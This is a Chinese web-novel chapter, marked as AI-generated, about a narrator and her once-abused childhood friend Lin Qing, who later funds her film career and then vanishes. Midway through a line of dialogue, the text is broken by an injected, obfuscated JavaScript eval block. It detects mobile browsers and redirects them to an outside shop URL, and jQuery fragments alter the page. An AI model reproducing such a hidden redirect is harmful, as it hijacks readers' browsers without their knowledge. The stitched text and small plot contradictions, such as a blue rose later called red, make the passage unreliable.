我总在某个半梦半醒的清晨，听见老式自行车的铃铛声，叮铃叮铃，穿过二十世纪末的梧桐树荫，落进满是粉笔灰的教室。阳光斜斜地切进来，照亮浮尘里那个瘦小的影子——林清，我的小学同桌，一个不爱说话的小男孩。


    那时候的他，永远穿着洗得发白的旧衣服，袖口磨出毛边，裤脚短了一截，露出纤细的脚踝。他总是坐在教室最角落的位置，背挺得笔直，却又像一株被霜打过的禾苗，透着一股子挥之不去的怯懦。上课的时候，他从不举手，老师点到他的名字，他的声音细若蚊蚋，头埋得低低的，长长的睫毛垂下来，遮住眼底的光。班里的调皮鬼总爱捉弄他，抢他的橡皮，藏他的课本，他也不恼，只是默默蹲在地上找，手指抠着地板缝里的灰尘，像是在找什么稀世珍宝。


    我是怎么注意到他的呢？大概是某个放学的午后，我忘了拿文具盒，折回教室的时候，看见张玉龙揪着他的胳膊，把他往墙上撞。那个男人是他的养父，我见过几次，总是满脸横肉，眼神凶狠。旁边的鲁春梅叉着腰骂，声音尖利得像指甲刮过玻璃：“吃我的穿我的，连碗都洗不干净，养你这么个废物有什么用！”林清的脸撞在墙上，发出闷响，他却一声不吭，只是咬着嘴唇，嘴角渗出血丝，眼泪在眼眶里打转，却硬是没掉下来。


    我那时候年纪小，吓得躲在门后，心脏砰砰直跳。我看着他被推搡着走出教室，背影单薄得像一张纸，风一吹就会散。那天晚上，我翻来覆去睡不着，眼前总晃着他那双含着泪却倔强的眼睛。第二天，我偷偷把家里的肉包子塞给他，他愣了愣，抬头看我，眼睛里满是茫然。我小声说：“我妈做的，可好吃了。”他犹豫了很久，才小心翼翼地接过去，狼吞虎咽地吃起来，噎得直打嗝。我递给他一瓶水，他喝完，朝我露出了一个浅浅的笑，像冰雪初融，像春风拂过湖面。


    后来，我又撞见几次张玉龙打他。有一次，他被打得浑身是伤，缩在巷子口的垃圾桶旁边，瑟瑟发抖。我跑回家，拉着奶奶的手，把事情原原本本说了一遍。奶奶叹了口气，摸了摸我的头，说：“这孩子，命苦啊。”那天，奶奶把他带回了家，给他洗了澡，换了我哥哥的旧衣服，又给他煮了一碗热腾腾的鸡蛋面。林清捧着碗，眼泪噼里啪啦地掉在面条里，他哽咽着说：“奶奶，谢谢您。”奶奶拍着他的背，柔声道：“孩子，以后常来家里坐坐，这儿就是你的另一个家。”


    那段时间，林清成了我家的常客。他会帮奶奶扫地、择菜，会陪我写作业，会给我讲他从旧书里看来的故事。他话不多，但说出来的话总是很有意思。我发现，他其实很聪明，尤其是在看书这件事上。他的书包里总是装着各种各样的旧书，有的书页都掉了，他却视若珍宝。他告诉我，那些书是他从废品站淘来的，每一本都藏着不一样的世界。我那时候觉得，林清就像一本被蒙尘的书，只要你愿意翻开，就能发现里面的璀璨星光。


    我不知道他是什么时候消失的。好像是某个暑假过后，我再去学校，就再也没见过他的身影。我问老师，老师说他转学了。我问奶奶，奶奶说他可能是回了老家。我在那个空荡荡的角落里坐了很久，阳光依旧明媚，却再也没有那个瘦小的影子。我心里空落落的，像丢了什么重要的东西。我给他写了很多封信，寄到他原来的地址，却都石沉大海。日子一天天过去，梧桐树叶绿了又黄，黄了又绿，林清这个名字，渐渐被埋在了记忆的深处，像一颗被遗忘的种子。


    再次见到他，是在高一开学前的公交站。


    那天的阳光格外刺眼，蝉鸣聒噪得让人烦躁。我背着沉重的书包，站在公交站的遮阳棚下，等着去学校报到的公交车。一辆公交车缓缓驶来，停在站台边，车门打开，走下来一个少年。


    他很高，穿着简单的白T恤和牛仔裤，身姿挺拔，像一棵挺拔的白杨树。他的头发剪得干净利落，眉眼清俊，皮肤是健康的小麦色。他站在那里，微微侧着头，看着远方的天空，阳光洒在他的脸上，勾勒出清晰的轮廓。我看着他的侧脸，心里忽然咯噔一下，这个身影，好熟悉。


    他似乎察觉到了我的目光，转过头来，看向我。四目相对的那一刻，时间仿佛静止了。蝉鸣声消失了，阳光仿佛也变得柔和。他的眼睛很亮，像盛满了星辰大海，再也没有了小时候的怯懦和茫然。


    “黎燕？”他先开口，声音低沉悦耳，带着一丝不确定。


    我愣了半天，才找回自己的声音：“林清？”


    他笑了，笑容灿烂得像夏日的阳光。“真的是你。”他走近我，伸出手，“好久不见。”


    我握住他的手，他的手掌宽大温暖，带着薄薄的茧。“好久不见，”我看着他，忍不住问，“你这些年，去哪里了？”


    “我回了亲人身边。”他轻描淡写地说，语气里带着一丝释然，“以后，我再也不是那个无家可归的孩子了。”


    那一刻，我看着他眼里的光，忽然觉得，那个被阴霾笼罩的小男孩，终于走出了黑暗，迎来了属于自己的光明。


    更让我惊喜的是，我们不仅考上了同一所高中，还被分到了同一个班。开学那天，他背着书包走进教室，径直走到我旁边的空位上坐下，朝我眨了眨眼：“以后，多多指教。”


    我看着他，嘴角忍不住上扬。真好，时隔多年，我们又成了同桌。


    高中的林清，像是变了一个人，却又好像还是那个林清。他依旧不爱说话，但不再怯懦。他成绩优异，尤其是数学和物理，每次考试都是年级第一。他身手矫健，运动会上，他拿下了一百米和跳高的冠军，引得全校女生尖叫。他成了学校里的风云人物，走到哪里都有人瞩目。但他对那些追捧毫不在意，依旧独来独往，只是对我和他妹妹林琪琪，格外亲近。


    林琪琪是个活泼可爱的小姑娘，和林清的性格截然不同。她总是叽叽喳喳的，像一只快乐的小麻雀。她很黏林清，也很黏我，总是“燕姐姐燕姐姐”地叫着，甜得腻人。我们三个，经常一起上学，一起放学，一起去学校门口的小吃摊吃麻辣烫。那段时光，简单而美好，像一首悠扬的歌。


    我第一次见识到林清的“不一般”，是在高一的某个放学后。


    那天，他神秘兮兮地叫住我和琪琪，说有东西要给我们看。他带我们拐进一条僻静的小巷，从书包里拿出一个用布包着的东西，小心翼翼地打开。里面是一本线装的旧书，封面上写着《鸳鸯秘谱》四个古朴的大字，还有一个看起来年代久远的宋朝瓷器，青釉色，上面绘着精美的花纹。


    我和琪琪都看呆了。“这……这是哪里来的？”我忍不住问。


    “一个路边摊淘的。”林清轻描淡写地说，“应该能值点钱。”


    我们都以为他在开玩笑。直到他带着我们去了一家酒店，见到了那个据说专门收藏古董的老板。老板看到那本《鸳鸯秘谱》和宋朝瓷器，眼睛都直了。他小心翼翼地翻着书页，摸着瓷器的纹路，嘴里不停地念叨着：“真品，绝对是真品！”


    最后，老板给了林清一笔不菲的现金。看着那厚厚的一沓钱，我和琪琪都惊呆了。林清却一脸平静，仿佛只是做了一件微不足道的小事。


    没想到，在酒店门口，陆川皱着眉头，拦住了我们，语气轻蔑地说：“你们三位粉丝的见面方式与众不同啊”


    虽然被陆川当成了狂热粉丝，心里有些不愉快。而更让我惊讶的是，林清面对陆川的刁难，竟然一点都不生气，只是淡淡地瞥了他一眼，拉着我和琪琪离开了。


    “你不生气吗？”我忍不住问。


    “没必要。”林清说，“道不同，不相为谋。”


    那一刻，我忽然觉得，林清的身上，有一种超越年龄的沉稳和通透。


    也就是在那家酒店，我们见到了导演燕。


    导演燕是我最崇拜的导演，她拍的电影，每一部都直击人心。我做梦都想见到她。那天，她穿着一身简单的休闲装。


    我激动得语无伦次，上前找导演燕签名。


    接下来发生的事情，更是让我对林清刮目相看。


    那段时间，班里的徐凌月总是愁眉苦脸的。后来我们才知道，她外婆得了重病，需要一大笔手术费。徐凌月的家庭条件不好，根本拿不出那么多钱。她每天都在哭，眼睛肿得像核桃。


    有一天，我跟着林清去了徐凌月外婆所在的医院，看着林清帮他们交齐了手术费。他交完钱就离开，我去问他:“你为什么不告诉她？”我不解地问，“那可是二十万啊！”


    林清放下书包，走到窗边，看着窗外的夕阳。夕阳的余晖洒在他的身上，给他镀上了一层金色的光晕。他沉默了一会儿，才缓缓开口，声音低沉而温柔：“没必要。我帮她，不是为了让她感激我，也不是为了让她回报我，只是想帮她解决眼下的困难。她外婆的病不能再拖了，这才是最重要的。她现在最需要的是安心照顾外婆，而不是背负着一份人情债。等她外婆的病好了，她自然能安心学习和生活。至于这份恩情，知不知道都不重要。”


    我站在原地，看着他的背影，心里忽然涌起一股暖流。夕阳将他的影子拉得很长很长，像一座巍峨的山。我忽然明白，这个少年的心里，装着一片广阔的天地。


    后来无意中听到徐凌月说，她外婆的手术费已经凑齐了，手术很成功。


    高二那年的一件事，让林清彻底成了全校的传奇。


    那天，雨下得很大，豆大的雨点噼里啪啦地砸在地上，溅起一片片水花。我和琪琪撑着伞，站在校门口，等着林清。我们等了很久，都没看到他的身影。就在我们焦急万分的时候，有人忽然大喊：“快看！那边出事了！”


    我们顺着别人手指的方向看去，只见一辆失控的跑车，正朝着路边的护栏冲去。那辆车的车牌号，我认得，是国际歌星弥勒·赫本的车。她当时正在我们城市开演唱会，没想到会出这样的事。


    就在跑车快要撞上护栏的那一刻，一辆兰博基尼忽然冲了出来，横在了跑车前面。“砰”的一声巨响，两车相撞。跑车被稳稳地逼停了，而那辆兰博基尼，却因为巨大的冲击力，冲破了护栏，掉进了旁边的江里。


    周围的人都惊呆了，尖叫着拿出手机报警。我看着那辆掉进江里的兰博基尼，心脏骤停。


    很快，警察和救护车都来了。弥勒·赫本被救了出来，只是受了点轻伤。她看着那片汹涌的江水，脸色苍白，不停地说着“谢谢”。可江里的那辆兰博基尼，却迟迟没有动静。


    接下来的几天，林清就像人间蒸发了一样，没有来学校。他的家人来了学校，焦急地询问他的下落，当他的家人来到学校，我才知道，那辆兰博基尼是林清开的。我看着林阿姨憔悴的脸庞，心里难受得厉害。我想起那天早上，林清说他要自己回家，不用我们等他。原来，他是去做了这样一件事。


    那几天，我每天都魂不守舍的，上课的时候走神，吃饭的时候没有胃口。我总在想，林清那么好的人，一定不会有事的。一定不会。


    就在我们快要绝望的时候，林清回来了。


    他是在一个周一的早上，出现在教室门口的。他穿着一身干净的衣服，脸上带着些许疲惫，但眼神依旧明亮。他推开门，看着我们惊讶的目光，笑了笑，说：“不好意思，请假了几天，让大家担心了。”


    那一刻，教室里爆发出雷鸣般的掌声。我看着他，眼泪忍不住掉了下来。琪琪更是扑进他的怀里，哭得稀里哗啦。


    后来我们才知道，林清当时在车里，及时解开了安全带，从车窗里逃了出来，被路过的渔船救了。他怕家人担心，就先在渔船上养了几天伤。


    那件事之后，林清成了英雄。弥勒·赫本亲自到他家里感谢他，还邀请他参加自己的演唱会。在上，林清唱了一首自己写的歌。他的声音低沉悦耳，歌词真挚动人。弥勒·赫本听了，赞不绝口，说他是一个被埋没的音乐天才。


    那首歌，很快就火遍了大街小巷。林清，又多了一个身份——歌手。


    但我总觉得，这些身份，都只是林清的冰山一角。他就像一个宝藏，永远有你意想不到的惊喜。


    我第一次对林清生气，是因为一朵花。


    那天，是徐凌月的生日。林清送给了她一朵娇艳的碎冰蓝玫瑰。徐凌月接过花的时候，脸红红的，眼里满是羞涩和喜悦。


    我看着那朵红玫瑰，心里忽然涌起一股莫名的怒火。我和林清认识了这么多年，从小学到高中，我们是最好的朋友。他从来没有送过我礼物，哪怕是一张小小的贺卡。可是，他却送给了徐凌月一朵花。那个忽然出现的女孩，凭什么能得到他的礼物？


    我越想越生气，转身就走。林清察觉到了我的不对劲，追了上来。“黎燕，你怎么了？”他疑惑地问。


    “我没事。”我梗着脖子，不去看他。


    “你明明就有事。”他拦住我，看着我的眼睛，“是不是我哪里惹你不高兴了？”


    我看着他，心里的委屈一下子涌了上来。“凭什么你送她花，不送我？”我脱口而出，说完就后悔了。


    林清愣住了，看着我，忽然笑了。他的笑容很温柔，像春风拂过心田。“原来是因为这个。”他说，“好，我答应你，以后肯定给你送一朵，比她那朵还要好看。”


    听到他的话，我心里的怒火瞬间就熄灭了，只剩下满满的羞赧。我别过脸，小声说：“谁要你的花。”


    他却认真地说：“我说真的。”


    那一刻，阳光正好，微风不燥。我看着他眼里的笑意，心里像揣了一只小兔子，怦怦直跳。


    我从来没有想过，自己会成为一名导演。更没有想过，我的导演之路，会是林清铺就的。


    后来，林清收购了一家濒临破产的娱乐公司，名字叫东海娱乐。他找到我，对我说：“黎燕


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977380|192890||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，我知道你喜欢导演燕，也喜欢拍电影。我给你这个机会，你来当东海娱乐的导演。”


    我当时就惊呆了，以为自己听错了。“我……我不行的。”我连忙摆手，“我从来没有拍过电影，连摄像机都不会用。”


    “你可以的。”林清看着我，眼神坚定，“我相信你。”他递给我三个剧本，“这是我为你准备的，你看看喜不喜欢。”


    我接过剧本，看着封面上的名字，心跳再次漏了一拍。《1949》《狙击雪原》《重回1997》。


    这三个剧本，每一个都直击我的内心。尤其是《重回1997》，讲述了一个名叫陈默的青年，穿越回1997年，试图改变自己的人生，却最终明白珍惜当下的故事。我看着剧本，仿佛看到了自己的影子。


    “这……这是你写的？”我颤抖着问。


    “嗯。”林清点了点头，“希望你能喜欢。”


    我看着他，眼眶湿润了。我知道，他一直记得我喜欢导演燕，喜欢拍这种有温度的电影。


    接下来的日子，我全身心地投入到了电影拍摄中。林清给了我最大的支持，他请来了最好的团队，给了我充足的资金，从来没有干涉过我的拍摄。遇到困难的时候，他总是耐心地听我倾诉，给我出谋划策。


    《1949》上映后，引起了巨大的轰动。观众们被电影里那段波澜壮阔的历史深深打动，票房大卖。《狙击雪原》上映后，更是口碑票房双丰收。电影里那些在朝鲜战场上浴血奋战的战士，让无数人潸然泪下。


    在《狙击雪原》的庆功宴上，我看着台下欢呼的人群，心里充满了感激。林清走到我身边，递给我一杯香槟，笑着说：“我说过，你可以的。”他顿了顿，又说，“黎燕，相信我，你以后一定会有和导演燕合作的机会。”


    我看着他，点了点头。我相信他，就像相信太阳会东升西落一样。


    没想到，他的话，这么快就应验了。


    《重回1997》上映后，口碑爆棚。这部讲述珍惜当下的电影，戳中了无数人的泪点。导演燕看了这部电影后，对我赞不绝口。她主动联系东海娱乐，说要和我们合拍《王朝的更替·无法改变的历史》系列的第四部《王莽》。


    这个系列的前三部，《质子嬴政》《鸿门宴》《狼居胥山的冠军侯》，都是导演燕的代表作。能和她合作，是我做梦都不敢想的事情。


    更让我惊喜的是，导演燕点名要我当《王莽》的导演。她说：“黎燕，你的镜头里，有温度。我相信你能拍好王莽这个复杂的人物。”


    拍摄《王莽》的日子，是我最难忘的时光。我跟着导演燕，学到了很多东西。她教会我如何捕捉人物的情感，如何用镜头讲述故事。林清也经常来探班，给我们带来好吃的，看着我们拍戏，眼里满是笑意。


    《王莽》上映后，再次大获成功。我也因此获得了最佳导演奖。站在领奖台上，看着台下的林清，他朝我竖起了大拇指，笑容灿烂。我拿着奖杯，眼泪忍不住掉了下来。


    颁奖典礼结束后，林清递给我一个信封。我打开一看，是亚太光影大学的录取通知书。


    “这……”我惊讶地看着他。


    “我帮你申请的。”他笑着说，“黎燕，你值得更好的平台。去深造吧，我等你回来。”


    那一刻，我看着他，心里充满了感动。这个少年，总是在我看不到的地方，为我做了这么多事。


    在亚太光影大学的那几年，我努力学习，不敢有丝毫懈怠。我知道，林清在等我。每年放假，我都会回国，和他、琪琪聚在一起。我们还是像以前一样，一起吃麻辣烫，一起聊天，一起看电影。仿佛那些名利和光环，都与我们无关。


    大学毕业后，我回到了国内。林清投资帮我开了一家电影公司，名字叫“燕归影业”。他说：“黎燕，这是你的梦想，我帮你实现。”


    我看着他，笑着说：“林清，谢谢你。”


    “我们之间，不用说谢谢。”他看着我，眼神温柔。


    那几年，我的电影公司发展得很好。我拍了很多有温度的电影，赢得了观众的喜爱。林清的启明集团，也发展得风生水起，成为了国内数一数二的大企业。我们都以为，这样的日子，会一直持续下去。


    直到那天，晴天霹雳。


    启明集团破产了。


    这个消息，像一颗炸弹，在整个城市炸开了。我不敢相信，那个意气风发、无所不能的林清，竟然会遇到这样的挫折。我疯了一样地去找他，却怎么也找不到。


    后来，我才从琪琪口中得知，启明集团是被人恶意陷害的。林清为了保住公司，耗尽了所有的心血，却还是无力回天。他把东海娱乐的股份，给了徐凌月的姐姐徐晓，让她当了董事长。他把手上所有的股票都变现了，填了启明集团的窟窿。


    然后，他走了。


    他给家人留下了几封信，给林阿姨的，给琪琪的，给其他人的，过了一些时间，我收到了一封信，是他给我的。


    我颤抖着打开那封信，信纸上的字迹，依旧是那么挺拔有力。


    黎燕：


    当你看到这封信的时候，我已经离开了。原谅我的不辞而别。


    认识你这么多年，是我这辈子最幸运的事情。从小学那个躲在角落里的小男孩，到现在的我，是你和奶奶，给了我温暖和光明。


    你是一个很有才华的导演，你的镜头里，有别人没有的温度。我相信，你以后一定会成为比导演燕更厉害的导演。燕归影业，是你的心血，你一定要好好守护它。


    我给你的那朵花，一直放在我的抽屉里。等我回来，一定亲手送给你。


    勿念。


    林清。


    信纸的末尾，画着一朵小小的玫瑰。


    我看着那朵玫瑰，眼泪像断了线的珠子，掉在信纸上，晕开了墨迹。


    后来，我听说，林清是和余苗一起走的。他们去了哪里，没有人知道。


    日子一天天过去，我依旧在拍电影。我拍了很多关于成长和告别的电影，每一部电影里，都有林清的影子。我知道，他没有离开，他一直活在我的心里。


    我经常会去我们小时候去过的那个巷子，去那家小吃摊吃麻辣烫，去那个公交站等车。我总在想，也许某一天，当我一回头，就能看到那个穿着白T恤的少年，朝我走来，笑着说：“好久不见。”


    我也经常会拿出那封信，看着信纸上的那朵玫瑰。我知道，他一定会回来的。


    因为，他答应过我，要送我一朵比徐凌月那朵还要好看的花。


    我等他。


    等他回来，等那朵花开。


    等我们，再一起，走过那些梧桐树荫，走过那些漫长的时光。


    烬火长明，岁月不负。


    我知道，他一定会回来的。


    [本章由AI生成]